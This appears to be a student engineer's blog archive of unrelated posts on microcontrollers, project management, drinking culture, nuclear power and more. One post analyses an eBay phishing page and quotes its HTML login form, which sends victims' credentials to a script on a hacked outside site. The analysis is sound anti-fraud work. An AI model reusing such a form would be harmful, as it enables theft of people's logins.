Background info: I have a test tomorrow. I racked my brains for something exciting to say, but in the end the only words that came out of my mouth were “digital hardware”.  This was, in fact, a condensed version of the actual answer. The actual answer was “Using C to program the ATmega16 AVR microcontroller’s serial port, timer, PWM and ADC functionalities”. But I didn’t want to sound like a Dusche.

See, I’m slowly realising as a student engineer – especially the half that’s an electrical engineer – that there’s no easy way to explain what you learn about to people without boring them to death or dumbing it down so many shades that it doesn’t really explain anything at all. It’s alright if you write movies or newspapers or novels, or teach english, or dissect small animals. These are activities that people are familiar with. Even organic chemistry can be made exciting (I synthesise meth), and biology ain’t too bad either (I study the mating patterns of sloths). But if you tell someone you’re performing a Fourier transform on a square wave to see what its fundamental frequencies are… well how do you glamourise that?

I think the essence of what I am trying to communicate here is that in other areas of study it is possible to reduce an explanation of things to a level that people can relate to, like books, movies, or psychology. With a technical study like engineering, quantum physics, or nanotechnology, there’s fewer ways to do that. Let’s go back to the example before: Microcontroller. Do you know what that is? What it does? I guarantee you you’ve used something – probably many things – with one in it today. But how do you explain it to someone non-technical without boring them or confusing them? A programmable chip? That’s still jargony. Really tiny computer? That sounds condescending and is inaccurate.

I still don’t know, but anyhow. I think I have a solution that avoids all these pitfalls. It involves lying about almost everything, but let’s just agree to say it’s stretching the truth. The next time someone asks me what my test is about, I will answer with: Robots.

Everyone loves Robots.

The email was a very good fake, and, besides being sent from an address at “ebay.corn.au“, it showed few other telltale signs that it was fraudulent.

Down at the bottom of the message were links to the supposed “dispute” for the item I had bid on. Usually phishing emails like this direct you to an address that is very similar to, but not actually, the real thing. However these links were all straight to eBay’s site.

Sometimes they try to fool you by using Javascript to change the mouseover text to a real URL, even though the link actually goes to the scam page. So I clicked on one of the links.

The link took me through to an actual eBay address, specifically, a member’s “About Me” page. The interesting about what happened was that I could see the “about me” page loading, but it was promptly replaced with what appeared to be a very genuine eBay sign in screen.

None of the text is selectable and none of the links are clickable (except for Sign In), which should set off alarm bells in anyone’s head. The User ID box also has a suspicious-looking double-thickness gray line at the bottom. It turns out the page is mostly comprised from images, hosted on tinypic.com, and no real text at all. Clearly a fake login screen.

I viewed the page’s source and found some interesting things.

Firstly, the login details form is submitted to a Danish Taxi website. It would appear that this site is running a php script that forwards any details received to an email address stored as a hidden value in the form. The form submit is below:

<form method="post" id="frm"name="SignInForm" style="margin:0px"
action="http://bjerringbrotaxi.dk/lnfo.php" autocomplete="off">
<TR><INPUT type=hidden value=something@example.com name=mail>
<INPUT type=hidden value=http://example.com name=link1>

I tested this theory by making a HTML document on my PC and changing the submit address to an account I own. Then I entered some fake details and submitted the form. After submitting the form, I was redirected to an eBay auction address (replaced above by http://example.com).

A few seconds later I received this email:

To summarise: when a user enters their details, a form submits their username, password, an email address, and a redirect URL to a php script running on a Danish Taxi website. The login details, along with their IP address, are sent to the email address specified in the submit, and the user is redirected to another page, also specified in the submit.

Now you might be wondering, why a Danish Taxi website? There are several possible answers. The script could have been set up by an unscrupulous website administrator, however, more likely is that the site was hacked instead.

How did they change their eBay user page? One way would be to simply type the HTML/Javascript code in their About Me description box, and, using some tricky Javascript, have the browser display their own page “over” the top of the genuine eBay page. This would not work if eBay parse the information and filter out any extraneous tags. Not doing so would be poor form on eBay’s behalf, so I suspect that maybe the scammer is using another method.

Shortly before writing this, I submitted a report to eBay about this particular scam. As of now the page is still up. We’ll see if eBay have it down by the morning.

Edit: As of two days later, the scam page is still there. Pretty slack on eBay’s behalf.

Update: It is now the 8th of October, twelve days later, and I just received an email from eBay thanking me for my report and telling me what I already knew: that the page is a phishing scam. However, it’s still up! Tinypic have deleted the images, and the Danish taxi website have fixed their hacked webserver by removing the php script. But the eBay members page with the dodgy code is still there!

The interview consisted of us sitting before a panel of 4 academics who proceeded to drag us over hot coals about every nuance of the design in order to ascertain exactly how our contraption planned to work. As nobody was yet 100% in agreement on how each nut, bolt, and idea all went together, there were some conflicting explanations thrown around the room, and suffice to say, ‘working’ was not one of the things on the list of functions of our device.

Our task is to design a dustiness test rig that complies with two sets of standards – AS 4156.6 and IS EN15051. And the solution to the problem we have been working on has genuinely been plaguing me for weeks.

One of the things I was finding difficult to come to terms with was how to implement an interchangeable drum into our device so that it could function within the parameters of both the standards. Of course, there are dozens of solutions to the problem and I could have picked any one and been done with it. But up until this evening, all the suggestions that have been tossed around involved some sort of contraption or mechanism that just added to the overall complexity of the device by requiring custom machining and painful CAD modelling.

Now, I’m a big believer in the ‘elegant solution’. I can probably explain this best by directing you to Euler’s Identity:

Euler's Identity

Whilst not a solution to any problem per say, it is an incredibly elegant statement that manages to link 5 fundamental mathematical constants using three basic arithmetic operations. So it is the uncomplicated, yet obvious-in-hindsight solution that I like, and one that can often be obtained by taking the most basic approach.

Keeping it simple does not mean just using the first idea that comes into your head, but the process should generally be quicker versus a more complicated design. In the past I have often not realised this from the outset and gone down the arduous task of trying to design something complicated directly in the CAD program itself (a task which, in my opinion, should rarely be undertaken).

The last time this happened was at my old job. I spent several days mulling over something that was not going to work, before finally cracking the shits one midday and going to lie on a park bench somewhere in the middle of Redfern. Many great minds had lay here before me, and their ideas permeated the fabric of my imagination and provided me with a solution that was simple but functional. By that afternoon, I had a draft modelled and ready to show the boss, who approved.

This time, however, I was running low on motivation. ‘Designers block’, if you allow me to liken the process to writing, seemed to cloud my head and block the way to the solution. I could feel it in there, like a lone tablet in a pill jar filled with cotton wool, yes, it was in there somewhere but it had to be prised out. In these circumstances, further measures were needed. So I did what I knew best.

I went and talked to Dad.

My old man probably couldn’t program a microcontroller to save his life, but he could engineer his way out of anything with a pen and a notepad. He’s a bit of a ‘back of the napkin’ type guy who, unlike myself, has learnt more from experience than from textbooks. When I told him about my problem, the first words he said were “there’s a very simple way to do that”. And that was that. Within 15 minutes we’d sketched out a design that would work. The problem was gone, I ate a meat pie, and went home a happy man.

What’s the moral of the story? Well, it’s the first of two conclusions that I reached in my professional engineering work experience report: ‘Keep it simple, stupid’. What was the second conclusion? ‘Measure twice, cut once’.

But that’s a story for another day.

Resource Scheduling

Resources are limited. And demand for resources is not constant. It is desirable to efficiently utilise existing resources by evening out the demand for resources. This can be done by delaying non-critical activities (using slack). This in turn lowers peak demand, and increases resource utilisation. This process is known as resource levelling, or smoothing.

What is a resource?

1. People: Classified by the skills they bring to the project, eg. programmer, engineer.

2. Materials: Cover a large spectrum. Often the cause of the delay for many projects, eg. waiting on parts

3. Equipment: Things needed to get the job done, eg. tools, cranes, computers. Often overlooked as a constraint

4. Working Capital: If working capital is readily available, a project manager may work on many activites concurrently. If, however, it is in short supply, materials and labour usage may have to be restricted or delayed to conserve cash.

Constraints in Resource Scheduling

1. Technical or Logical Constraints: These are constraints related to the order in which things must be done. Eg. you can’t lay a foundation until you’ve poured the concrete.

2. Resource Constraints: An absence or shortage of resources can alter technical constraints

3. Physical Constraints: Constrain activities that would normally be performed in parallel eg. Contractual or environmental

The downside of levelling is a loss of flexibility that occurs from reducing slack. The risk of acitivites delaying the project also increases because slack reduction creates more critical or near-critical activities.

So if your mate tells you he drank some ‘Polish liquor’ that was 100% alcohol, he’s a moron, and was probably talking about spirytus. Because if he really did drink something that was 100% ethanol, it would also have contained a small amount of Benzene. And that would mean his brain now has the consistency of mashed potato.

At the molecular level, Ethanol looks like this:

H  H
|   |
H-C-C-OH
|   |
H  H

The hydroxyl (OH) group on the end makes it polar, because Oxygen is incredibly electronegative. What this means is that an electron in the molecule’s electron cloud will spend more of its time hanging around the Oxygen than anywhere else.

This makes ethanol a solvent, and solvents are particularly good for dissolving things. Things like nail polish, grease, or paint. Or your brain cells.

And it’s this brain cells part that is currently causing such a big kerfuffle in the media. The problem is that too many people between the ages of 14 and death are drinking too much, then going out and stabbing each other in the face with beer glasses.

This might sound acceptable if you’re in a Glasgow pub or on a football team, but it’s not how the Government would like us to behave. So Nathan Rees has decided to crackdown on dangerous licensed venues by stopping entry after 2am, serving beer in plastic cups, and providing a ‘drinks limit’.

The ‘drinks limit’ strikes me as interesting, because this is something that it is different for everyone. It’s different if you’re a man or woman, short or tall, skinny or fat, it’s different if you haven’t eaten all day, or had two pides and a felafel for breakfast. This means that any drinks limit might be low enough to stop the BAC of a regular person shooting through the roof, but still high enough to get a midget wasted.

So there will still be violent drunk people, but now they will all be short and skinny. Which is good, if you’re a bouncer, or bad, if you’re Grant Denyer.

It comes as no surprise that the Glasshouse Tavern is on the list of clubs to be affected by the new rules, because this is exactly the type of venue filled with the type of wankers the government wants to eliminate. I can count on one finger the number of times I have been there and not seen a fight erupt. But will it work?

The 2am entry limit will be nothing new because as far as I know, at the Glassy it has always been like that. Nothing will change. Beer in plastic cups is nothing new either. Cooney’s has been doing it for ages. People still engage in fisticuffs on the street.

So as far as I can see, you’re turning one set of problems into another, by treating everyone like small children. Taking away our glass privileges and setting a drink limit won’t work, because small children still like to throw tantrums, shit in the sandbox, and pull each others’ hair.

What, then, is the solution? As engineers, we are taught to look at the ‘real design problem’ and the ‘apparent design problem’. The real design problem is the most obvious problem, in this case, that people are drinking too much and causing trouble. The apparent design problem is the actual problem that needs solving. This one is less obvious, but will ultimately provide a better solution.

The apparent problem here is the culture. Drinking, especially drinking too much, is deeply imbued in the Australian way of life. After all, it’s how strangers become mates, coworkers become friends, and how bogans, wankers and the ugly pick up chicks. It is not something you can change easily, nor are peoples’ attitudes to drinking something you can change instantly.

One night I went out for a drink with some German friends in Cologne. We’d just had our second round of fruity beverages and I was gearing up for numbers 3, 5 and 7 but it seemed I was alone in my enthusiasm. I was a bit taken aback because this would not happen at home. When I pointed this difference out to my friend, she said that it was because people there liked to remain ‘in control’, and that she had noticed a similar attitude in Italy, where losing too much face is a social faux pas.

Unlike Australia, in many of the European countries I visited, alcohol was readily available anywhere and any time. In Germany, you could buy a beer at the station and drink it on the train or walking down the street. Often you would see people doing this. Normal people drinking beer, just like you’d drink a coke. When I tried this back home, I felt guilty, because here the only sorts you see on the street with booze are the homeless, or people with rat’s tails who will want to fight you.

That, then, is the biggest reason these problems exist. It’s the culture here, it’s the attitudes towards boozing that are the problem. Save for prohibition, no amount of ridiculous little laws are going to change things with this generation. People still want to go out and get stupidly drunk because it is fun and because there are few social repercussions. It’s the next generation whose attitudes the government should be trying to change.

What do we do in the meantime? Well, putting a cutoff time on clubs won’t help. It will make people angry, and send them onto the streets, where they will encounter other angry people with whom to engage in warfare.

This exactly the reason why London did the opposite to Sydney, and introduced 24-hour trading licenses. But that didn’t work there either, because their culture is very similar to ours, and people are still idiots.

Throughout eastern europe though, there were literally hundreds of 24-hour watering holes. Warsaw’s Zachodnia train station had three of them, and it was a bomb shelter. Hradec Kralove had one, I was in it until the sun came up. But nobody tried to fight me, and none of my friends were murdered.

As for plastic cups for beer, well that has one positive. Happily, it will stop people losing their eyesight on an inebriated fool’s whim. But there is a better way, and of course, it was developed by the Germans.

It’s so good, they even have their own word for it, “pfand”. This means deposit, because each time you buy a drink you leave a small amount of money for the glass it comes in. Bring the glass back unbroken, and you get your money back. Break it, and you’re down a few bucks. It’s efficient, pays for breakages, there’s less mess for them to clean up, and nobody gets glassed in the face. Why?

Because if it’s going to cost you five bucks, why bother?

5. The main character is a forensic blood spatter analyst. He’s also a serial killer. This makes for some interesting scenarios, including Dexter analysing his own crime scene.

4. The show is not ridiculously censored. This means there is swearing, dismembered body parts, and even the occasional boob. Odd for a US-based program, but it’s good to know the writers haven’t been constrained by some ridiculous rules.

3. Dexter’s foul-mouthed sister is played by the awesome Jennifer Carpenter. She’s hot, she curses a lot, and doesn’t take any shit. A good combo if you ask me.

2. It accurately portrays the lighting in Miami. Apparently, everything there is not covered by an orange tinge, after all.

1. It’s got half the cast from Oz.

Edit: Honorable mention goes to the theme music. It’s hauntingly upbeat. I think there’s even a banjo in there.

The discrepancy isn’t much, about 4mm, but it’s enough to compress the discs in my lower back slightly more on one side than the other. This would explain the annoying twinge I have been feeling at the gym and the mild pain after long hours standing up. The temporary solution so far has been to stick a second insole in my shoes. And I’m already drafting up plans for a medieval torture device that will stretch my right tibia to its proper dimensions.

This, however, was not why I was at the physio. I was there to treat an ongoing case of patello-femoral pain syndrome that had been causing trouble in my right knee. It is a condition that is common among young adults, but most prevalent in soccer players, cyclists, rowers, tennis players, ballet dancers, horseback riders, and runners, of which I am none. You can imagine my irritation at this fact, but nevertheless I would like to fix it before I turn 43 and discover that the cartilage on my kneecap has been whittled to dust and I have been left with a nice case of arthritis.

The answer, thankfully, is quite simple. As well as a multittude of stretches for the muscles surrounding the knee, I have to do an exercise which involves moving just one small muscle of the quadriceps, the vastus medialis obliquus. Moving this muscle without moving anything else is for me nigh on impossible. Apparently, because it is not ’switching on’ properly when I bend my leg, my kneecap drifts slightly in the wrong direction, and that’s where all the trouble starts.

This means the problem, funnily enough, is not with my knee, but with my brain. Its ability to control the VMO is poor, and so I must work on building up the nerve connections to the muscle in order for it to start doing its job. This may sound easy, but it is in fact rather difficult. When I was in Vienna, I met a rather tall Norwegian guy who had gotten really drunk one night and slept on his arm in an awkward position. When he woke up the next morning, he couldn’t move his hand, and a few weeks later when I met him he had only just regained a slight range of movement in his fingers. He was a medical student, and proceeded to explain in great detail that in his drunken slumber he had severed an important nerve in his forearm, the name of which I now can’t remember. The amazing thing is that the brain can slowly regrow the nerve and form a new pathway to the muscles, so within a few months he would be repaired. I’d like to think the thing with my knee is working in roughly the same manner, except with less alcohol and Scandinavians.

The other related factor is mind-muscle connection. Lots of people can flex their biceps, but ask them to flex their lats and they will struggle. Your mental ability to move specific muscle groups in isolation determines your ability to do such things. I’m usually pretty good in this regard, as evidenced by anyone who has seen me move my entire scalp. But somewhere along the line, something went horribly wrong. And I think I can work out where.

Way back in year 9 or 10, I went downhill biking with some friends on a firetrail at Bulli pass. Unlickily for me, I came a crocker on a steep section and badly sprained my ankle. I went to a physio at the time, who, inbetween thrusting my foot into his groin, showed me pictures of a normal ligament and a damaged ligament. In the normal ligament, the tissue fibres were nicely aligned with each other. In the damaged ligament, the tissue fibres looked like someone had gone nuts with a spirograph. He said it was impossible to fully repair, and he was right. Ever since then my right ankle has clicked and popped itself in and out of place, and it’s nowhere near as flexible as the left one.

My hypothesis is that I began to use my right leg in an unorthodox way to overcome the lack of flexibility in the ankle. This led to a muscle imbalance, which led to the ongoing knee problem. And because it happened when I was still growing, it might have caused the right leg to grow slightly shorter than the left leg. A bit like the kid at school who broke his thumb one day and after that it never grew as long as the other one. Leg length discrepancies are common, so this scenario is unlikely. But it may just be that that accident was the cause of all these troubles.

So what if… what if I’d never been downhill riding that day. What if I’d been to the cinema. Or wasted the day indoors on the computer, like I did all too many other times.

Well, I don’t know. And I don’t really care. But if you are the sort of person who wants perfectly symmetrical tibiae, or ankles that don’t click, don’t go downhill riding on a BMX. Watch a movie of it instead.

Although only 2 workers were killed in the initial steam explosion, the number of people affected by fallout was much higher. There were 237 people directly affected by radiation from the site, mostly firemen and rescue workers, and countless more people who were indirect victims of radiation poisoning.

Vladimir Shevchenko, a Ukranian filmmaker, was the first person on the site with a video camera. With no protection, he filmed workers tunneling under the structure to place concrete in order to stop the building collapsing on itself. He also captured an MI-8 helicopter losing its bearings and crashing into the structure below, killing the two man crew.

Back when I was in primary school, we were given the task of creating a project based on a disaster. While everyone else was building erupting models of Mount Vesuvius, I created a mini-Chernobyl out of paper mache milk cartons and toilet rolls. The melted reactor core was simulated using a wound ferrite rod from an old radio, and to top it all off I added some cotton ball smoke, cellophane flames and a flashing battery powered light.

Chernobyl project I made as a kid

The reactor that exploded was far more complicated than my model. It was an RBMK-1000, capable of producing 1000MW of electric power. The Chernobyl site had four of these reactors, the last two of which only went out of service in December 2000.

This reactor design is now quite old, but it is interesting to note that 70% of Lithuania’s energy is still produced by an RBMK located at the Ignalina Nuclear Power Plant, albeit a supercharged version producing 1360MW. Originally, two of these reactors were in operation there, accounting for 80% of Lithuania’s power production. Number one was decommissioned in December 2004, as a condition of Lithuania’s entry into the EU. Number two is expected to close in 2009, to make way for a new plant with 3000 to 3200 megawatt capacity.

During my travels through Europe, I noticed a few nuclear power plants from the windows of buses and trains. France is the country most dependent on nuclear energy, at 87.5%, with Lithuania taking second place. So will Australia ever adopt this technology?

At the moment, 90% of our energy comes from gas and coal. As supplies run short, the demand for alternative energy increases. Australia has about one third of the world’s known uranium resources, and it accounts for 22% of all international uranium production. With all that potential on our doorstep, what is stopping us from turning it into a viable energy solution?

As Dr. Ziggy Switkowski, chairman of ANSTO, says “it’s kind of interesting when you travel around the world and you discuss with these nuclear-powered countries Australia’s thinking, they’re a bit perplexed as to why we find it hard to take that step to go all the way to nuclear electricity because for them it’s turned out to be clean, efficient, the technology is reliable, it’s now off the shelf and most of the historical issues associated with the management of the spent fuel rods etc … lend themselves to relatively straightforward engineering solutions.”

With increasing focus on climate change, and Australia’s recent ratification of the Kyoto Protocol, it is now our responsibility to search for cleaner forms of energy that reduce our carbon emissions. Nuclear power produces almost no emissions, and methods of effectively disposing of spent fuel rods have been developed quite extensively.

There are other issues to consider, though. Nuclear power has a high startup and capital cost, but low fuel cost. Building a reactor costs billions of dollars, and during the lifetime of a project (40-60 years) it may only just recoup the operating, construction, and decommissioning expenses.

Regardless of Nuclear Power’s advantages and disadvantages, there is still something quite primitive about our reliance on fossil fuel. To paraphrase James May in episode three of Big Ideas, “it’s amazing that despite all of mankind’s modern achievements, our primary source of energy is derived by digging a hole, extracting a lump of rock made from million year-old dead trees and animals, and setting fire to it.”

Although fears of a Chernobyl-like catastrophe are not without ground, it is important to take incidents like these and learn from them what we can. In the wrong conditions, nuclear power has the potential to destroy, but if we take the necessary precautions and learn from our mistakes, nuclear power is a step towards the future. And that’s a step in the right direction.

Perhaps Richard Branson is a better example of someone who is a leader, rather than a manager. Back in the startup days of Virgin he might have had a more managerial role, but now he gallivants around the world in hot air balloons, sponsoring formula one teams, impersonating binnies and shagging flight attendants. At least, that’s what we’re led to believe.

On the other hand, Bill Gates was probably more of a manager than a leader. Although there is no doubt his position would have required him to do both, his great technical knowledge and ability to manage tasks was undoubtedly one of the reasons behind Microsoft’s success.

According to Kotter (1990),

- Management is about coping with complexity, while

- Leadership is about coping with change

A good project manager has elements of both. A well defined project, however, requires little leadership. As the degree of uncertainty increases, more leadership is required. It takes a special person to perform both roles well.

Project Stakeholders

Project stakeholders can be internal or external.

Internal stakeholders are people on whom the project depends, for example:

-Project Team: Manages and completes project work. Most members want to do a good job, but are also concerned with whether their involvement on the project will contribute to their personal goals and aspirations.

- Project Managers: Compete within an organisation with each other for resources and support of top management. Often have to share resources and exchange information.

- Administrative Support: Provide valuable support services

- Functional Managers: Can have varying level of involvement. Want to cooperate, up to a point.

- Top management: Approves funding

- Project Sponsors: Champion the project. Are a key project ally. Often, they have a mad reputation and it is tied to the success of the project.

External Stakeholders

- Customers: Define the project and its scope. The ultimate project success rests with their satisfaction.

- Contractors: May do all the actual work

- Government agencies: Place constraints, eg. permits, compliances etc.

- Other organisations

Changes in thinking

The old-fashioned view of project management emphasised directing and controlling the subordinates, much like Dwight Schrute does.

The new perspective emphasises managing project stakeholders and anticipating changes as the most important jobs.

Influence as exchange

Cohen and Bradford describe the exchange view of influence as “currencies”.

Several types:

Task-related: Providing assistance, extraordinary effort

Position-related: Promotions, aiding people with challenges, making other people look good, enhancing reputations

Inspiration-related: Perhaps the most powerful form of influence. Derive from people’s burning desire to make a difference, and to add meaning to their lives.

Relationshiop-related: Picking someone up when they’re down, boosting confidence, listening

Personal-related: Deals with helping others feel a sense of importance and personal wealth, to naturally generate goodwill. Can be done by sharing tasks, delegating authority over work so that people feel ownership of it, and allowing individuals to stretch their limits.

Management by walking around – I had a supervisor who would walk around every so often just to check how people were doing. Such face-to-face interaction helps to build a cooperative relationship.